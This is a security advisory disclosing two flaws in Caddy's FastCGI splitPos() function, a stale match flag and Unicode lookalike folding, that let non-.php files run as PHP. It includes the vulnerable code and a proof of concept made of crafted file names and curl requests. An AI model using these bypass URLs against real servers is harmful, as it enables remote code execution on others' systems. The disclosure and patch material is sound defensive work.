Summary

The FastCGI transport's splitPos() in modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go misuses golang.org/x/text/search with search.IgnoreCase when the request path contains a non-ASCII byte. Two distinct flaws in that fallback let an attacker mislead Caddy's FastCGI splitting into treating a non-.php (or other configured split_path extension) file as a script. In any deployment where the attacker can place content into a file served via FastCGI (uploads, file storage, etc.), this can be escalated to remote code execution by crafting a URL whose path triggers either flaw.

This function was adapted from FrankenPHP's code (see the source comment) and inherits the same bugs. Both were originally reported against FrankenPHP by @KC1zs4 as GHSA-3g8v-8r37-cgjm (which absorbed the duplicate GHSA-v4h7-cj44-8fc8). Credit for finding the underlying flaws belongs to @KC1zs4.

Details

var splitSearchNonASCII = search.New(language.Und, search.IgnoreCase)

func (t Transport) splitPos(path string) int {
	if len(t.SplitPath) == 0 {
		return 0
	}
	pathLen := len(path)
	for _, split := range t.SplitPath {
		splitLen := len(split)
		for i := range pathLen {
			if path[i] >= utf8.RuneSelf {
				if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
					return end
				}
				break
			}
			if i+splitLen > pathLen {
				continue
			}
			match := true
			for j := range splitLen {
				c := path[i+j]
				if c >= utf8.RuneSelf {
					if _, end := splitSearchNonASCII.IndexString(path, split); end > -1 {
						return end
					}
					break // <-- flaw 1: 'match' is still true
				}
				if 'A' <= c && c <= 'Z' {
					c += 'a' - 'A'
				}
				if c != split[j] {
					match = false
					break
				}
			}
			if match {
				return i + splitLen
			}
		}
	}
	return -1
}

Flaw 1 — Control-flow: stale match after inner non-ASCII fallback

In the inner for j loop, when a byte satisfies c >= utf8.RuneSelf and splitSearchNonASCII.IndexString(...) returns -1, the loop breaks without setting match = false. The outer code then evaluates if match { return i + splitLen } with match still true, returning a position as if the configured extension had been matched. The script-name suffix actually present at that offset is whatever bytes the attacker chose, so a file named name.<U+00A1>.txt gets routed as PHP.

Flaw 2 — Unicode equivalence: search.IgnoreCase folds non-ASCII lookalikes onto ASCII

search.New(language.Und, search.IgnoreCase) performs Unicode equivalence matching (compatibility decomposition + case folding), which goes far beyond the ASCII-only case folding the surrounding code is built for. Many code points fold onto ASCII ., p, h, p, so a path containing ﹒php, ．php, .ｐhp, .ⓟⓗⓟ, .𝗽𝗵𝗽, .𝓅𝒽𝓅, .𝖕𝖍𝖕, etc. is reported as .php.

Both flaws share the same root cause: invoking search.IgnoreCase to match an ASCII-only, validated-lower-case SplitPath entry against an arbitrary path. Provision() already guarantees every entry is ASCII and lower-cased, so any byte >= utf8.RuneSelf in the path can never be part of a legitimate match — but the fallback ignored that guarantee.

PoC

Run against a Caddy build serving FastCGI to PHP-FPM (or any FastCGI app where script lookup is gated by split_path). Caddyfile:

:8080 {
    root * /app/public
    php_fastcgi unix//run/php/php-fpm.sock
}

Place attacker-controlled files in /app/public:

• /app/public/poc-match-unset.\xc2\xa1. — <?php echo "marker=flaw1\n";
• /app/public/poc-search-norm.𝗽𝗵𝗽 — <?php echo "marker=flaw2\n";

Trigger:

# baseline (correctly NOT routed to PHP)
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.txt/trigger"
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm/trigger"

# flaw 1 — the .¡.txt file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-match-unset.%C2%A1.txt/trigger"

# flaw 2 — the .𝗽𝗵𝗽 file ends up as SCRIPT_FILENAME
curl -i --path-as-is "http://127.0.0.1:8080/poc-search-norm.%F0%9D%97%BD%F0%9D%97%B5%F0%9D%97%BD.anything-after-payload.php/trigger"

Both crafted requests respond with the marker payload from the non-.php file, confirming arbitrary code execution through the body of attacker-controlled files.

A standalone reproducer of splitPos() in isolation (no Caddy build needed) is included in GHSA-3g8v-8r37-cgjm; the function in this module is the same logic, so the same payloads apply.

Impact

Comparable to the previous FastCGI split_path issue (GHSA-g966-83w7-6w38 / CVE-2026-24895) but with a stricter precondition: the attacker needs the ability to place content into a file whose name matches one of the bypass patterns (the Unicode lookalike forms or a name containing a non-ASCII byte after a .). Where that precondition holds — common in upload endpoints, user-content stores, package mirrors — the bypass yields RCE in the FastCGI upstream via a single crafted URL, without authentication, over the network.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — High (8.1).

Patch

Drop the golang.org/x/text/search fallback entirely and treat any byte >= utf8.RuneSelf in the path as a non-match. SplitPath entries are validated ASCII-only and lower-cased upstream, so this preserves correct behavior for every legitimate path while making the Unicode bypasses unrepresentable. The replacement is a tight byte loop with no library calls in the hot path. See fix/fastcgi-splitpos-unicode-bypass (commit 4ddad83c) for the implementation and regression tests.

Credit

Both flaws were originally found and reported by @KC1zs4 against FrankenPHP, where the offending splitPos() function was first introduced before being adapted into this module. The Caddy maintainers thank @KC1zs4 for the high-quality reports.